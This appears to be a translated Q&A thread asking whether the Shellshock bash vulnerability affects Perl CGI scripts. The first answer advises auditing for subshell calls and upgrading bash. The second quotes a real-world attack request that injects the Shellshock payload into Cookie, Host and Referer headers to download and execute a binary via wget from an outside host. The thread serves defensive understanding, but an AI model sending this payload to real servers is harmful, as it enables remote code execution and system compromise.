1

昨天报告了 CVE-2014-6271 问题,这是 BASH Shellshock 漏洞。我试图了解它是否会通过我的 Perl CGI 脚本影响我的服务器。

我的代码会受到恶意影响吗?我的代码需要做什么才能受到影响?我应该检查什么来验证这一点?

4

2 回答 2

5

是的,如果您的 CGI 脚本产生子 shell,例如使用system()oropen()函数或反引号,它会影响 Perl。请参阅这篇出色的 Red Hat 博客文章。请注意,博客文章在任何重要方面都不是 Red Hat 特定的。

检查您的 Perl CGI 脚本以获取这些功能,但首先将 BASH 升级到固定版本!

于 2014-09-25T12:03:32.397 回答
0

您可以尝试将特制的字符串设置为 HTTP 服务器 als Referrer、Cookie、Host 或 Accept 标头,然后将其传递给(bash)CGI 脚本:

GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh。http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh ; .Host:().{.:;.};.wget.-O./tmp/besh. http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh ; .Referer:().{.:;.};.wget.-O./tmp/besh. http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh ; 。接受:。/

请参阅https://gist.github.com/anonymous/929d622f3b36b00c0be1作为在野外看到的恶意软件的真实示例。

如果您的 Perl 脚本不调用bash(通过使用systemor open),您应该是安全的。

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/

于 2014-09-25T12:02:46.970 回答